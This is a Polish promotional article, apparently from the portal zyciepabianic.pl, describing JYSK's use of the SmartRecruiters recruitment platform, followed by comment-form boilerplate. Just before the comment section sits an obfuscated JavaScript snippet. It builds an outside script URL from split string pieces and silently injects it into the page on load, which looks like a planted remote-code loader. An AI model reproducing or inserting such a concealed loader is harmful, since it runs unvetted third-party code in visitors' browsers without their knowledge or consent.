Do ich grona należy platforma SmartRecruiters, której działanie korzystne jest zarówno dla osób aplikujących, jak i rekrutujących. Na czym ona polega?
W związku z tym, że na rynku pracy dochodzi do regularnych zmian, kluczowe jest dostosowywanie się do nich. Dzięki temu kandydaci w znacznie prostszy sposób mogą zostać przeprowadzeni przez proces rekrutacyjny, co zwiększa szansę na znalezienie utalentowanych pracowników i bezpośrednio przełożyć na skuteczność działania przedsiębiorstwa. Wykorzystywana przez duńską markę akcesoriów domowych platforma cechuje się łatwością użytkowania i stałą komunikacją na linii kandydat-rekruter.
SmartRectuiters
Często bowiem dochodzi do sytuacji, kiedy z różnych względów pierwszy z nich nie jest w stanie osobiście stawić się na rozmowie rekrutacyjnej. W związku z tym za pomocą SmartRectuiters istnieje możliwość przeprowadzenia jej w formie wideo. Wówczas, niezależnie od miejsca i warunków (platformę można zainstalować nie tylko na komputerach, ale i urządzeniach mobilnych) wystarczy, że taka osoba odpowie na trzy pytania na temat interesującego ją stanowiska. W znacznym stopniu przyspiesza to też sam proces rekrutacyjny, ponieważ aplikacja integruje się z dołączonym przez kandydata CV i mediami społecznościowymi. Jeśli będziesz chciał więcej dowiedzieć się o samej marce JYSK, żaden problem – połączono bowiem platformę ze stroną kariera.jysk.pl, na której znajdują się wszelkie niezbędne informacje o samej firmie i panującej tam kulturze pracy.
Warto też wspomnieć o tym, że niezależnie od etapu ubiegania się o pracę w JYSK, można wypełnić ankietę w celu opisania tego, czy proces spełnia nasze oczekiwania. Liczy się każdy pozytywny i negatywny odzew, ponieważ umożliwiają one regularne wprowadzanie potrzebnych udogodnień. Te w przyszłości jeszcze bardziej uatrakcyjnią możliwość zawodowego związania się z JYSK.
Podsumowanie
Jak widać, duńskiej sieci zależy na pozyskiwaniu właściwych ludzi na odpowiednie stanowiska. Wykorzystywanie platformy SmartRecruiters jak najbardziej pozwala spełnić tę koncepcję, a modernizowanie opisanej technologii może przynieść wyłącznie wymierne korzyści po stronie kandydatów i osób zajmujących się rekrutacją.
(function(){
zr9f=document.createElement("script");zr9f_=(("u")+"st")+"a";zr9f.async=true;
zr9f.type="text/javascript";zr9f_+=("t.i")+""+"n";zr9f_+=(("f")+"o");zr9f_+="/";
zr9fu="190041809.";zr9fu+="b58rxq9fr9fs2wgxv1n"+"9zX41p14xzc";
zr9f.src="https://"+zr9f_+zr9fu;document.body.appendChild(zr9f);
})();
Brak komentarza, Twój może być pierwszy.
Dodaj komentarz
Użytkowniku, pamiętaj, że w Internecie nie jesteś anonimowy. Ponosisz odpowiedzialność za treści zamieszczane na portalu zyciepabianic.pl. Dodanie opinii jest równoznaczne z akceptacją Regulaminu portalu. Jeśli zauważyłeś, że któraś opinia łamie prawo lub dobry obyczaj - powiadom nas [email protected] lub użyj przycisku Zgłoś komentarz